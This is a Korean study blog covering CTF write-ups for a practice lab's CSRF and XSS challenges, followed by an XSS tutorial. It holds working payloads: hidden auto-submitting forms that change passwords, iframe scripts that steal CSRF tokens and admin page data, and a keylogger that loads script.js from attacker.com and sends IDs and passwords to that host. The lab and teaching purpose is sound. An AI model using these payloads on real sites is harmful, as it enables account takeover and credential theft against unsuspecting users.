Segfault CTF - 12주차

CTF problems

`GET Admin 1` -> `GET Admin 2` -> `GET Admin 3` 순으로 푼다. 이번 문제는 CSRF 공격을 이용하게 된다.

`[아이디]`라는 ID로 계정을 생성하면 해당 ID와 함께 `[아이디]_admin`이라는 ID로 관리자 계정이 생겨난다. 이번 문제에서부터는 mypage.php 페이지에서 회원정보(정확히는 비밀번호만) 수정이 가능해졌다. 

1. GET Admin 1

GET Admin 1
index.php

이전까지 풀었던 문제와 똑같이 생긴 웹사이트다. 

mypage.php?user=nciwol

달라진 점이라고 한다면 회원정보 수정이 가능해졌다는 것이다. 원래 `nciwo`였던 비밀번호를 `asdf`로 바꿔보았다.

login.php

앞으로 로그인을 할 때 비밀번호에는 `nciwo`가 아닌 `asdf`로 해야한다.

mypage.php

view-source:mypage.php

mypage.php의 페이지 소스 코드를 확인해보면, 제출(<form> 태그)이 mypage_update.php라는 페이지로 향한다는 것을 알 수 있다. 실제로 회원정보 수정이 이루어지는 곳은 mypage_update.php라는 파일이라는 뜻을 의미한다.

mypage_update.php Request & Response

실제로 mypage_update.php로 전송 및 응답된 패킷을 확인해보면 위와 같다. POST 요청을 날려, body에 적힌 정보들을 통해 회원정보를 수정한다. 

mypage_update.php with GET

하지만 POST 방식이 아닌 GET 요청을 했을 때 또한 회원정보가 정상적으로 수정되는 것을 확인할 수 있다.

그렇다면 굳이 POST 방식이 아닌 GET 방식, 즉, URL을 생성해 CSRF 공격을 할 수 있는 것이다.

`~~/csrf_1/mypage_update.php?id=&info=&pw=1234`라는 URL을 클릭하면 클릭한 사용자의 비밀번호가 `1234`로 바뀌게 된다.

하지만 URL이 너무너무 수상하게 생겼다. 설령 URL을 다른 URL로 위장한다고 해도(예를 들어 URL 단축 서비스 사용), 해당 링크를 클릭한 사용자는 다음의 화면을 마주하게 될 것이다.

회원 정보 수정에 성공하셨습니다!

링크를 클릭했더니 "회원 정보 수정에 성공하셨습니다!"라는 문구가 출력된다. 누가 봐도 수상하다. 사용자는 이 사실에 대해 즉시 운영자에게 알리거나, 여전히 회원정보 수정이 가능한 상태라면 원래의 비밀번호로 되돌려놓을 것이다.

사용자가 자신도 모르는 새에 해당 링크에 접속하게 해야만 한다.

XSS

위와 같은 경우로 인해, CSRF는 보통 XSS와 같이 쓰이곤 한다. 단순히 <img> 태그의 `src` 속성 값을 변조된 mypage_update.php URL로 지정해두면, 클라이언트는 이미지를 불러오기 위해 해당 링크를 타고 들어갈 것이다. 사용자도 모르는 새에 회원정보가 수정되게 된다. 만약 XSS의 취약점이 Stored XSS에 해당한다면, 피해자는 글을 읽기만 해도 비밀번호가 털리는 것이다. 

XSS Point

XSS와 함께 CSRF를 하고 싶다면 당연히 XSS 취약점 또한 찾아야 한다.

notice_read.php

이번에도 notice_read.php 페이지에서 XSS 취약점을 찾았다. <img> 태그를 이용해서 mypage_update.php에 접속하도록 Stored XSS를 시도해보겠다.

notice_write.php
notice_read.php?id=638

글에 들어가보니 깨진 이미지 아이콘이 보인다. 로그아웃한 뒤, 원래 ID, PW인 `nciwol`, `nciwo`로 로그인해보겠다.

login.php - nciwol, nciwo
Login failed

로그인이 되지 않는다. 비밀번호를 `nciwo`가 아닌 `1234`로 하여 다시 로그인해보겠다.

login.php - nciwol, 1234
Login Success

비밀번호를 1234로 바꾼 적이 없는데도 겨우 글 하나 읽었다고 내 비밀번호가 강제로 변경됐다. 

이로써 CSRF + XSS 공격이 먹힌다는 것을 확인했다. 하지만 걸리는 것이 하나 있다.

정상적인 글인척 하기

notice_read.php?id=638

저 깨진 이미지 아이콘이 거슬린다. 누군가 어떤 이미지를 사용하려했던건지 궁금해서 HTML 소스 코드를 확인할 수도 있다.

들켰다!

`src`의 값을 확인해보니 mypage_update.php? 수상하다. 

애시당초 깨진 이미지 아이콘이 나오지 않도록 한다면 글을 읽는 사람이 HTML 소스코드를 확인할 일도 없을 것이다.

따라서 <img> 태그속성이 안 보이도록 `style` 속성을 수정해준다면 더욱 완벽할 것이다.

notice_udpate.php

`style`의 속성을 이용해 `display`의 값을 `none`으로 준다면 더이상 보이지 않을 것이다.

notice_read.php?id=638

깨진 이미지 아이콘이 보이지 않는다. 완성됐으니 관리자봇에게 해당 포스트의 URL을 넘겨보겠다.

이제 `nciwol_admin`이라는 ID와, `1234`라는 비밀번호를 가지고 로그인해보겠다.

Flag

2. GET Admin 2

GET Admin 2

1번 문제와 별로 다른 설명이 붙어있지는 않다.

GET method unavailable

1번 문제와 유일하게 다른 점은 mypage_update.php에서 GET 요청을 받지 않는다는 것이다. GET 요청을 받지 않는다면 원래대로 POST 요청을 하는 수밖에 없다. POST 요청만으로 수행이 되는 경우에는 CSRF 단독으로 사용할 수 없다. XSS가 강제된다.

const form = document.querySelector('form');
form.submit();

위의 javascript 코드를 이용하면 <form> 태그를 바로 제출할 수 있다. XSS를 같이 사용한다면 다음의 HTML 코드를 이용해 CSRF 공격을 할 수 있다.

<form action="mypage_update.php" method="POST" id="myForm">
	<input name="id" />
    <input name="info" />
    <input name="pw" value="1234" />
</form>
<script>
	const myForm = document.getElementById('myForm');
    myForm.submit();
</script>

notice_write.php

실제로 해당 태그들을 담은 글을 작성하면 다음과 같이 글을 읽었을 때 회원정보가 수정된다.

notice_read.php?id=611

`확인` 버튼을 누르면 로그아웃되고, index.php 페이지로 돌아간다. 사용자에게 들키지 않기 위해서는 이렇게 알림창이 뜨고, index.php 페이지로 돌아가면 안된다. 

location.href

mypage_update.php에서의 응답 패킷을 자세히 살펴보면 스크립트를 통해 사용자를 index.php로 돌려보내는 것이다. 즉, 이 스크립트만 실행이 되지 않는다면, 추가적으로 바로 위에 있는 alert() 코드까지 실행되지 않는다면 사용자는 눈치채지 못할 것이다. 

<iframe> 태그에서 `sandbox` 속성을 이용하면 스크립트 등을 차단할 수 있다. 

<iframe name="myFrame" sandbox></iframe>
<form action="mypage_update.php" method="POST" target="myFrame" id="myForm">
	<input name="id" />
    <input name="info" />
    <input name="pw" value="5678" />
</form>
<script>
	document.getElementById('myForm').submit();
</script>

변화를 보기 위해 `pw`의 값을 `1234`가 아닌 `5678`로 바꿨다.

위의 내용을 작성한 글에 들어가보면 다음과 같은 글이 보인다.

notice_read.php?id=612

login.php에 들어가 ID: `nciwo`, PW: `1234`로 로그인을 시도해보겠다.

pw: 1234
Login failed : 1234

처음 변경했던 `1234`라는 비밀번호를 입력하니 로그인에 실패했다.

그렇다면 이번에 새로 시도한 `5678`이라는 비밀번호로 다시 시도해보겠다.

pw: 5678
Login success : 5678

`5678`로 시도하니 로그인이 됐다. 즉, 아까 작성한 글에 의해 비밀번호가 `5678`로 바뀌었다는 것이다. 

notice_read.php?id=612

하지만 이런 글을 보면 좀 수상할 수 있다. 전부 `display`를 `none`으로 하여 안 보이도록 하겠다.

notice_update.php?id=612
notice_read.php?id=612

아무 내용도 없는 글이 완성됐다. 원한다면 글을 작성해서 더욱 자연스럽게 보일 수 있다.

완성된 이 페이지를 관리자 봇에게 넘겨준뒤, `nciwo_admin`이라는 ID와 `5678`이라는 비밀번호를 입력해 로그인 하면 다음과 같이 Flag을 얻어낼 수 있다.

Flag

3. GET Admin 3

GET Admin 3

마지막 3번째 문제도 설명은 변한 것이 없다. 이번 문제 또한 겉보기에는 딱히 변한 것이 없어보이지만, mypage.php 페이지에서 회원정보를 수정해 mypage_update.php로 요청을 보내면 다음과 같은 패킷을 확인할 수 있다.

mypage_update.php Request & Response

전달되는 것이 `id`, `info`, `pw` 이외에 하나가 더 있다. `csrf_token`이라는 것인데, 랜덤한 것처럼 보이는 문자열이 값으로 담겨있다. 만약 해당 토큰을 이용해 사용자를 인증하는 것이라면, 분명 어딘가에서 해당 값을 서버로부터 받았을 것이다. 

mypage.php Request & Response

멀지 않은 곳에서 해당 토큰 값을 찾아낼 수 있었다. mypage.php 페이지를 받아올 때 애초에 숨겨진 <input> 태그의 value로 들어가있었다. 이런 토큰을 사용하면 POST 요청만을 받았을 때처럼 CSRF 단독으로 하는 공격이 불가능해진다. 하지만 여전히 XSS와 함께 하는 CSRF에는 취약하다.

보아하니 사용자가 mypage.php에 접속할 때마다 새로운 인증 토큰을 발행하는 것 같은데, <iframe> 태그를 이용해서 mypage.php에 접속해 해당 토큰을 가져오면 그만이다.

<iframe src="mypage.php" id="tokenFrame" onload="
	const tokenFrame = document.getElementById('tokenFrame');
    const newDoc = tokenFrame.contentDocument;
    
    const csrf_token = newDoc.getElementsByName('csrf_token')[0].value;
    console.log(csrf_token);
"></iframe>

위의 내용을 담은 글을 작성하면 글을 읽는 순간 콘솔 창에 어떠한 문자열이 출력될 것이다. 그리고 그 문자열이 바로 csrf_token이 될 것이다.

notice_read.php?id=276

csrf_token의 값을 가져왔다. 이 다음부터는 2번 문제를 풀듯이 풀면 된다.

<iframe name="targetFrame" sandbox></iframe>
<form action="mypage_update.php" method="POST" id="myForm" target="targetFrame">
	<input name="id" />
    <input name="info" />
    <input name="pw" value="5678" />
    <input name="csrf_token" id="myToken"/>
</form>
<iframe id="tokenFrame" src="mypage.php" onload="
	const myForm = document.getElementById('myForm');
    const myToken = document.getElementById('myToken');
	const tokenFrame = document.getElementById('tokenFrame');
    const newDoc = tokenFrame.contentDocument;
    
    const csrf_token = newDoc.getElementsByName('csrf_token')[0].value;
    myToken.value = csrf_token;
    myForm.submit();
"></iframe>

notice_read.php?id=276

글을 읽어보면 수상해보이는 <input>이 좀 보이긴 한다.. 일단 로그아웃하고 비밀번호가 정상적으로 `5678`로 변경됐는지 확인해보겠다.

pw: 1234
Login failed : 1234

원래 비밀번호인 `1234`로 로그인을 시도했을 때는 로그인이 되지 않는다.

pw: 5678
Login success : 5678

`5678`이란 비밀번호를 사용하니 로그인이 됐다. CSRF + XSS 공격이 제대로 들어가고 있다는 것이다.

하지만 아직 끝난게 아니다.

notice_read.php?id=276

많이많이 수상해보인다. 태그들을 전부 숨기겠다.

notice_read.php?id=276

대충 이렇게 꾸미면 의심하지는 않을 것이다.

바로 관리자 봇에게 악성 스크립트가 담긴 글의 URL을 넘겨주고 ID: `nciwo_admin`, PW: `5678`로 로그인해보겠다.

Flag

 

'Study > with normaltic' 카테고리의 다른 글

Segfault CTF - 11주차  (0) 2025.06.25
XSS - Cross Site Scripting  (0) 2025.06.22
SegFault CTF - 7주차  (1) 2025.05.28
Blind SQL Injection  (0) 2025.05.25
Error-based SQL Injection  (0) 2025.05.25

Segfault CTF 11주차

CTF problems

총 3개의 문제가 있다. 푸는 순서는 `Basic Script Prac` -> `Steal Info` -> `Steal Info 2`이다.

이번 3개의 문제들은 기본적으로 관리자 봇을 XSS 취약점이 존재하는 특정 링크에 접속시켜, 관리자 계정으로 접속해야만 볼 수 있는 텍스트를 탈취하는 것이 목표다.

1. Basic Script Prac

Basic Script Prac

XSS가 일어나는 포인트를 알려줬다. Mypage에서 정확히 어느 지점에서 XSS가 일어날 수 있는지 알아보겠다.

XSS  Point

mypage.php?user=nciwo

`ID: nciwo, PW: nciwo`로 로그인한 뒤 Mypage에 접속한 모습이다. 얼핏 보기에는 ID 입력창에서 XSS가 일어날 것처럼 보인다. 관리자 계정으로 Mypage에 접속하면 "Flag Here..!"라고 되어있는 부분에 Flag가 있을 것으로 보인다.

서버에 저장된 세션을 참고해 ID를 placeholder로 설정해둔 것일 수도 있지만 혹시 URL의 파라미터를 그대로 가져온 것일 수도 있기 때문에 URL의 파라미터를 변조해보겠다.

mypage.php?user=nciwo<'">

파라미터 `user`에 대한 값으로 `nciwo<'">`를 입력했더니 입력창이 깨져 출력되었다.

nciwo<'">

Burp Suite를 통해 응답받은 패킷을 살펴보면 위와 같다. HTML 특수문자들이 HTML Entity로 치환되지 않고 그대로 출력이 되는 모습이다. 여기가 XSS 포인트다.

Javascript Code

관리자 계정에서는 위에서 봤듯이 "Flag Here..!"라고 써있는 부분에 Flag가 placeholder의 값으로 있을 것이다. 따라서 정확히 저 부분에 있는 텍스트를 추출해낼 필요가 있다.

name="info"

저 입력창을 식별할 수 있는 정보는 `name` 속성의 값으로 `info`가 지정되어 있다는 것이다. Console 창에 다음 코드를 테스트해보겠다.

const infos = document.getElementsByName('info');
console.log(infos[0].placeholder);

Flag Here..!

이렇게 얻어낸 `info`의 placeholder 값을 공격자 서버로 전송하기만 하면 된다.

const infos = document.getElementsByName('info');
const data = infos[0].placeholder;
const i = new Image();
i.src="http://attacker.com/?data=" + data;

Attack

공격 스크립트도 준비되었으니 XSS 포인트에 스크립트를 삽입하여 URL을 만들기만 하면 된다.

XSS Point

이미 존재하던 <input> 태그는 최대한 깨지지 않는 선에서 스크립트를 삽입해보겠다.

... placeholder="[입력]"/>

원래의 형태는 위와 같다. `[입력]`의 앞부분은 깨질 우려가 적지만, 뒤에 있는 `"/>`는 자칫하면 깨질 수도 있다. 따라서 시작과 끝맺음은 다음처럼 하는 것이 좋다.

... placeholder="" [부가 입력] class=""/>

`" [부가 입력] class="`라는 입력을 넣어 `[부가 입력]` 구간에 자유롭게 태그 속성을 편집할 수 있도록 하였다. 

`onfocus` 속성을 사용하면 해당 입력창에 focus됐을 때 특정 스크립트를 실행시킬 수 있다. 추가적으로 `autofocus` 속성을 사용하면 페이지가 로딩되었을 때 해당 태그를 자동으로 focus되도록 할 수 있다.

... placeholder="" onfocus="[javascript]" autofocus class=""/>

즉, 위와 같이 입력을 넣으면 `[javascript]` 부분에 있는 코드를 페이지가 로드되자마자 실행시킬 수 있는 것이다. 아까 만든 javascript 코드를 `[javascript]` 부분에 넣기만 하면 공격 준비가 거의 완료된다.

" onfocus="const infos = document.getElementsByName('info');const data = infos[0].placeholder;const i = new Image();i.src='http://attacker.com/?data=' + data;" autofocus class="

최종적으로 `user` 파라미터의 값으로 들어갈 문구의 원본은 위와 같다.

해당 값을 URL 인코딩하여 입력해 들어갔을 때 공격자의 서버로 패킷이 날아간다면 성공적인 것이다. 

/?data=Flag%20Here..!

관리자 봇에게 만들어진 URL을 던져주면 알아서 Flag가 들어올 것이다.

Flag

requestbin을 이용해, 관리자 봇의 요청에 대한 로그를 확인했다.

2. Steal Info

Steal Info

`Basic Script Prac`과 비슷한 패턴의 문제다. 이번에는 XSS Point를 가르쳐주지 않았다.

secret.php

`~/scriptPrac/secret.php`로 접속하면 권한이 없다면서 튕겨져 나온다. 아마 관리자 권한이 있어야만 접근 가능한 것 같다. 이 페이지를 대신해서 존재하는 것이 mypage.html인 것 같다.

mypage.html

`내 정보` 란에 "This is a Very Secret Info."라고 쓰여있다. secret.php에선 해당 부분에 Flag가 있을 것 같다. 

XSS Point

어떤 정보를 얻어야할지는 대충 감을 잡았으나, 사실 더 중요한 건 XSS가 일어나는 지점이다. 다행히 XSS Point는 그리 어렵지 않게 찾아낼 수 있었다.

notice_read.php

HTML 특수문자를 담은 글을 작성한 뒤, 글을 읽었을 때 Burp Suite를 통해 정확히 어떤 응답 패킷이 오는가를 살펴보면,

notice_read.php Response Packet

HTML Entity로 치환되지 않은 날 것의 텍스트가 그대로 오는 것을 확인할 수 있다. 즉, notice_read.php에서 XSS 취약점이 존재한다.

Get Info

앞서 mypage.html(secret.php)에 중요한 정보가 있을 것이라는 추측을 하였다. 해당 정보를 공격자의 서버로 보내보겠다.

class="card-text"

중요한 텍스트를 식별할 수 있는 정보는 속성 `class`의 값이 "card-text"라는 것이다. 하지만 `class`는 고유한 정보를 담는 속성은 아니다. 

Info exists at index 1

`class`로 "card-text"를 가진 태그는 총 2개였다. 그 중에서도 인덱스 1번에 찾고자 했던 정보가 담겨 있었다. 이를 토대로 공격자 서버로 중요한 정보를 보내는 코드를 작성할 수 있다.

const cards = document.getElementsByClassName('card-text');
const data = cards[1].innerText;
const i = new Image();
i.src = 'https://attacker.com/?data=' + data;

이 코드를 그대로 적용하려고 했지만 문제가 하나 있다. 취약점은 notice_read.php에 존재하는데, 얻고자 하는 데이터는 secret.php에 있다. secret.php에 있는 데이터를 가져오려면 먼저 notice_read.php에 secret.php 페이지를 불러와야 한다.

iframe

페이지 안에 페이지를 불러오는 좋은 방법이 있다. 바로 <iframe> 태그를 사용하는 것이다. 

<iframe src="~/scriptPrac/mypage.html" id="myIframe" onload="
	const myIframe = document.getElementById('myIframe');
    const newDoc = myIframe.contentDocument;
    
    const cards = newDoc.getElementsByClassName('card-text');
    const data = cards[1].innerText;
    const i = new Image();
    i.src = 'http://attacker.com/?data=' + data;">
</iframe>

<iframe> 태그의 `src` 속성으로 secret.php 페이지를 불러온 뒤, 이 <iframe>로 기존의 document 객체를 대신해 사용한다.

스크립트는 <iframe>의 로드가 완료된 뒤에 실행되어야하므로 `onload` 속성을 이용해 스크립트를 나중에 실행하도록 하였다.

`myIframe.contentDocument`를 이용해 secret.php의 DOM을 새로운 변수에 담아 사용할 수 있는 것이다.

Attack

공격 스크립트 전문은 다음과 같다.

<iframe src="~/scriptPrac/mypage.html" id="myIframe">
</iframe>
<script>
	const myIframe = document.getElementById('myIframe');
    const newDoc = myIframe.contentDocument;
    
    const cards = newDoc.getElementsByClassName('card-text');
    const data = cards[1].innerText;
    const i = new Image();
    i.src = "https://attacker.com/?data=" + data;
</script>

secret.php에는 접속 권한이 없으므로 secret.php -> mypage.html로 대체해서 테스트해보겠다.

attack post
notice_read.php?id=899

글을 작성한 뒤 게시판에서 해당 제목을 클릭하여 들어가면 공격자의 서버로 "This is a Very Secret Info."라는 문구가 전송된다.

Sending data to attacker

Burp Suite를 통해 공격자의 서버로 데이터를 전송하는 것을 확인했다. 악성 스크립트에서 mypage.html -> secret.php로 수정하여 관리자 봇에게 해당 포스트의 URL을 줘보도록 하겠다.

Flag

공격자의 서버 로그에 Flag가 전송된 것을 확인했다.

3. Steal Info 2

Steal Info 2

admin 계정의 마이페이지 정보란에 Flag가 숨겨져 있다고 한다. 먼저 일반 사용자의 마이페이지를 확인해볼 필요가 있다.

mypage.php?user=nciwo

정보란이라고 하면 아무래도 빨간색 네모로 강조한 "Nothing Here..."이 적힌 부분을 말하는 것 같다. 

id="userInfo"

해당 태그를 식별할 수 있는 고유 정보인 `id`가 존재한다. 데이터를 가져오기는 수월할 것으로 보인다.

const userInfo = document.getElementById('userInfo');
const data = userInfo.placeholder;
const i = new Image();
i.src= 'http://attacker.com/?data=' + data;

Nothing Here...

XSS Point

이번 문제에서도 멀지 않은 곳에서 XSS 취약점을 찾을 수 있었다. 바로 전 문제와 동일하게 notice_read.php에 XSS 취약점이 존재했다.

notice_read.php?id=897
HTML Special Characters

이번 페이지에서도 HTML 특수문자들은 HTML Entity로 치환되지 않은 상태로 클라이언트에게 전달되었다. 

Steal Info 2에서도 같은 지점에서 XSS가 일어날 수 있다.

Attack

앞선 문제를 풀었다면 이번 문제 또한 어려울 것이 없다. 바로 악성 스크립트를 작성해보겠다.

<iframe src="~/scriptPrac2/mypage.php" id="myIframe" onload="
	const myIframe = document.getElementById('myIframe');
    const newDoc = myIframe.contentDocument;
    
    const userInfo = newDoc.getElementById('userInfo');
    const data = userInfo.placeholder;
    const i = new Image();
    i.src = 'http://attacker.com/?data=' + data;
">
</iframe>

attack post
/?data=Nothing%20Here...

Burp Suite를 통해 "Nothing Here..."라는 문구가 정상적으로 공격자 서버로 보내진 것을 확인할 수 있다.

이제 해당 포스트의 URL을 관리자 봇에게 주도록 하겠다.

Offer URL to Manager bot
Flag

 

'Study > with normaltic' 카테고리의 다른 글

Segfault CTF - 12주차  (4) 2025.07.02
XSS - Cross Site Scripting  (0) 2025.06.22
SegFault CTF - 7주차  (1) 2025.05.28
Blind SQL Injection  (0) 2025.05.25
Error-based SQL Injection  (0) 2025.05.25

XSS

XSS는 Cross(X) Site Scripting의 줄임말로, 클라이언트 측에 스크립트를 삽입하여 중요한 정보를 탈취하는 해킹 기법이다. 사용자의 입력이 HTML 파일 내에 담기거나 Javascript와 같은 스크립트 언어에 의해 출력이 되는 지점에서 해당 공격이 발생할 수 있다. 해당 기법으로는 다른 사용자의 인증 정보인 세션 ID를 탈취하거나, 키로거(Key Logger)를 삽입하여 실제 로그인 정보(ID와 Password 등)를 가로챌 수 있다.

XSS는 `Stored XSS`, `Reflected XSS`, `DOM-Based XSS`로 크게 세 가지 종류의 기법이 존재한다.

타겟 사이트

로그인하여 글을 올릴 수 있는 커뮤니티 형식의 사이트다. 기본적으로 사이트를 이용하기 위해서는 로그인이 필요하다.

login.php

login.php

해당 페이지에서는 단순하게 ID와 PW를 입력하여 로그인을 할 수 있다. 또한 `Sign Up`을 클릭하여 회원가입 또한 가능하다.

login failed

없는 ID로 로그인을 시도하면 위와 같이 "No ID `[시도한 아이디]` in DB"라는 알림창이 뜬다.

signup.php

signup.php

해당 페이지에서는 이름, E-mail, ID, PW를 입력하여 회원가입을 할 수 있다.

board.php

로그인을 하면 바로 이 board.php 페이지로 넘어오게 된다. DB에 저장된 여러 글들이 5개씩 나온다.

검색 기능이 구현되어 있으며, 제목을 클릭하면 해당 글을 읽을 수 있는 페이지로 넘어간다.

`New Post` 버튼을 누르면 새 글을 작성할 수 있다.

`Log Out`를 클릭하면 로그아웃이 되며, login.php로 돌아가게 된다.

board.php?query=as

글을 검색하면 URL 파라미터에 검색어가 들어가며, 해당 단어가 포함된 모든 글을 출력한다. (페이지가 4개인 것은 버그다)

 

No result

검색어에 대한 결과가 없으면 "No result from [검색어]"라는 문구가 출력된다.

read_post.php

read_post.php

board.php에서 제목을 클릭하면 이 read_post.php로 이동하게 되는데, 뒤에 붙은 `postNo` 파라미터의 값에 따라 글이 출력된다.

해당 페이지에서는 단순하게 글의 제목과 내용을 출력해주기만 한다.

상단의 Home 글자를 클릭하면 board.php로 돌아갈 수 있다.

new_post.php

new_post.php

board.php에서 `New Post` 버튼을 클릭하면 이 페이지로 이동한다.

위의 한 줄짜리 입력칸 <input>에는 제목을, 큰 <textarea>에는 글의 내용을 작성하여 `Post` 버튼을 클릭해 글을 등록할 수 있다.

mypage.php

mypage.php

이 페이지는 버튼을 클릭해서 접속할 수 있는 경로가 존재하지 않지만 URL을 직접 입력함으로써 접속할 수 있다.

해당 페이지에서는 사용자의 모든 정보를 출력한다.

Stored XSS

Stored XSS(저장형 XSS)는 서버 DB에 악성 스크립트를 저장해두는 방식으로 공격을 시도한다. 

예를 들어 악성 스크립트를 담은 글을 작성하면 DB에 해당 글이 저장되고, 다른 사용자가 그 글을 읽을 때 스크립트가 작동하는 방식이다. 커뮤니티 형식의 사이트에서 보통 글은 DB에 저장이 되기 때문에 Stored XSS의 가능성이 있다.

Example

앞서 소개한 사이트에서 예를 들어보겠다.

여기서 13번째 글, `i`라는 제목을 가진 글에 들어가보면 다음과 같은 글이 존재한다.

단순히 심심해보이는 표정이 담긴 글이라고 생각할 수 있다. Burp Suite를 통해 정확히 어떤 패킷을 받았는지 확인해보겠다.

read_post.php?postNo=13 packet

화살괄호(`<`, `>`)와 따옴표(`'`)가 아무 필터링 없이 왔다. 화살괄호와 따옴표에 대한 필터링이 없다는 것은 글을 작성할 때 임의의 태그를 생성하거나 태그의 속성을 수정할 수 있음을 시사한다.

XSS attack

그렇다면 `script` 태그를 포함한 글을 작성하여 `alert()`가 실제로 작동하는지 테스트해보겠다.

18th post

방금 작성한 글은 18번째 글이다. 해당 제목을 클릭하여 들어가보면

read_post.php?postNo=18

`alert()` 알림창이 뜨는 것을 확인할 수 있다. read_post.php 페이지에 XSS 취약점이 존재한다는 것을 알 수 있다. 이러한 취약점을 이용해 DB에 악의적인 스크립트를 담아 클라이언트 측에서 실행하는 것이 Stored XSS이다. 

Reflected XSS

Reflected XSS(반사형 XSS)는 악성 스크립트를 서버에 저장하지 않고 입력이 그대로 반사되어 출력되는 곳에서 발생한다.

예를 들어, 로그인 페이지에서 없는 ID를 입력했을 때 "~라는 ID는 존재하지 않습니다."와 같이 사용자의 입력이 그대로 출력된다면 Reflected XSS가 발생할 수 있다.

Example

위에서 사이트를 설명할 때 login.php에서 없는 ID로 로그인하면 어떤 응답이 돌아오는지 보였다.

login faild - non-existent ID

해당 알림이 정확히 어떻게 뜨는 것인지 Burp Suite를 통해 확인해보면 다음과 같다.

이렇게 사용자의 입력이 응답에 그대로 들어가게 되면 SQL Injection 때와 마찬가지로 Injection이 가능하다.

');alert('hello');//

라는 입력을 id 파라미터로 전달하게 되면 `alert()` 알림창이 총 두 번 뜨게 될 것이다.

실제로 응답받은 패킷을 확인해보면 다음과 같다.

하지만 Reflected XSS는 이렇게 반사되는 것만으로 위험하지는 않다. 스크립트를 직접 입력창에 입력을 해야지만 작동하기 때문이다. 

Reflected XSS가 다른 사용자에게도 제기능을 하려면 반드시 GET 요청이여야만 한다. GET 요청이면 파라미터들을 URL에 직접 담을 수 있기 때문이다. 위에서 든 예시는 POST 요청이였지만, POST 요청, GET 요청을 전부 받아주는 사이트일 수도 있다.

GET 요청으로도 작동하는 페이지라면 위와 같이 URL에 파라미터를 삽입할 수 있다. GET으로도 동작한다면 공격 링크를 생성할 수 있다. `192.168.96.135:1094/login.php?id=%27%29%3Balert%28%27hello%27%29%3B%2F%2F&pw=noPW`로 들어가게 되면 의도한 스크립트가 실행되는 것이다.

DOM-Based XSS

Reflected XSS를 생각하고 입력이 돌아오는(반사되는) 지점을 찾았다고 가정해보자. 

Burp Suite로 응답패킷을 살펴보다보면 분명 패킷에는 입력값이 존재하지 않는데, 브라우저에서는 입력값이 반사되어 출력되는 경우가 존재할 수 있다. 해당 경우는 Javascript와 같은 스크립트 언어를 이용해 입력값을 출력했을 가능성이 존재한다.

Example

사용자의 입력이 반사되는 곳은 로그인 이외에 한 군데가 더 있었다.

board.php에서 검색어를 입력했을 때, 그 검색어에 대한 결과가 없으면 사용자의 입력이 반사됐다.

No result from hmmm

Reflected XSS가 가능한지 알아보기 위해 응답 패킷을 살펴보면 다음과 같다.

'hmmm' not exists in response packet

분명 브라우저에서는 'hmmm'이라는 글자가 출력되고 있는데, 응답 패킷에는 해당 글자가 존재하지 않는다.

응답 패킷을 좀더 살펴보면 다음과 같은 스크립트 태그가 존재하는 것을 확인할 수 있다.

Reflected with JS

해당 코드는 현재 URL에서 파라미터를 가져와 `document.write()` 함수를 통해 페이지에 출력을 해주는 코드다.

`document.write()` 함수의 위험한 점은 그냥 HTML 문서에 파라미터를 아무 필터링 없이 그대로 넣는다는 것이다. 즉, `<script>` 태그를 꾸겨넣을 수 있다는 것이다.

이렇게 응답 패킷에 입력이 그대로 출력되는 지점이 없더라도 스크립트 언어에 의해 반사되는 것을 이용해 XSS를 하는 것을 DOM-Based XSS이다. Reflected XSS와 마찬가지로 URL을 생성해 공격할 수 있다.

XSS를 이용한 데이터 탈취

공격자들이 XSS 취약점을 이용해 `alert()`만 띄우고 끝나지는 않을 것이다. 실제로 해당 취약점을 이용해 어떤 정보를, 어떻게 탈취할 수 있는지 알아보겠다. 

기본적으로 데이터를 탈취하기 위해서는 피해자로부터 얻어낸 데이터를 공격자에게 전송할 필요가 있다. 공격자의 서버에 접속만 할 수 있다면 데이터를 전송할 수 있다. 

var got_data = "blahblah";
// got_data를 얻어낸 데이터라고 가정
fetch('http://attacker.com/listen.php?data=' + got_data);

예를 들어 위와 같은 코드를 삽입한다고 하면, 얻어낸 데이터를 listen.php의 파라미터로 보내 공격자의 서버 `attacker.com`에서 데이터를 전송 받아낼 수 있는 것이다. `fetch()` 함수를 사용하는 것 이외에도 `<img>` 태그를 이용하는 등의 다양한 방법으로 공격자 서버로 데이터를 전송할 수 있다.

키로거 (Key Logger)

앞서 login.php에 XSS 취약점이 존재한다는 것을 확인했다. 로그인을 하는 곳에 이러한 XSS 취약점이 존재하면 키로거를 삽입해 사용자가 로그인을 하는 과정에서 로그인 정보를 가로챌 수 있다.

XSS Point in login.php

없는 ID로 로그인을 시도했을 때 돌아오는 응답 패킷이다. 사용자의 특수문자를 포함한 입력이 아무 필터링 없이 그대로 반사되고 있는 모습을 보이고 있다. 즉, Reflected XSS의 취약점이 존재하는 것이다. 

const inputs = document.querySelectorAll('input');
const form = document.querySelector('form');
form.onsubmit = async (e) => {
	await fetch('https://attacker.com/listen.php?id=' + inputs[0].value + '&pw=' + inputs[1].value).then((e) => { return true; });
	return false;
};

위의 스크립트를 이용하면 사용자가 로그인을 하는 시점에 input 태그에 입력한 값들을 공격자 서버로 전송할 수 있다.

함수를 비동기로 설정함으로써 사용자가 의심하지 못하도록 공격자의 서버로 데이터를 전송한 직후 로그인이 정상적으로 처리되게끔 하였다. 

공격 payload는 다음과 같다.

ID: </script><script defer src="https://attacker.com/script.js"> console.log('

공격자는 자신의 서버에 키로거 스크립트를 미리 준비해뒀다가 제공할 수 있다. 

login.php

입력한 ID는 `alert()`로부터 벗어나 <script> 태그를 닫고 다른 <script> 태그를 열어 외부로부터 js 파일을 받아온다.

script.js

공격자 서버로부터 받아온 스크립트는 자동으로 실행되어 제출 버튼에 원래와는 다른 기능이 심어지게 된다.

로그인을 시도하면 공격자의 서버로 ID와 PW를 파라미터에 담아 보내게 된다.

또한 로그인이 성공적으로 진행이 되어 사용자는 자신의 로그인 정보가 탈취당했다는 사실을 알아채기 힘들다.

해당 사이트의 login.php는 POST 이외에 GET 요청으로도 작동한다. 즉, Reflected XSS 취약점에 의한 공격 URL을 만들 수 있다.

http://192.168.96.135:1094/login.php?id=%3C%2Fscript%3E%3Cscript+defer+src%3D%22https%3A%2F%2Fattacker.com%2Fscript.js%22%3E+console.log%28%27&pw=go

해당 링크(당연히 여기서는 작동하지 않는다)를 타고 들어가서 로그인을 시도하면 로그인 정보가 공격자 서버로 전송된다.

Infected URL

위의 HTTP/HTTPS 통신 기록은 ① 감염된 URL을 타고 들어가, ② 로그인을 시도하여 공격자 서버로 로그인 정보가 넘어간 후, ③ 최종적으로 원래 사이트에서의 로그인이 성공적으로 이뤄져 board.php로 리다이렉션되는 과정을 보여준다.

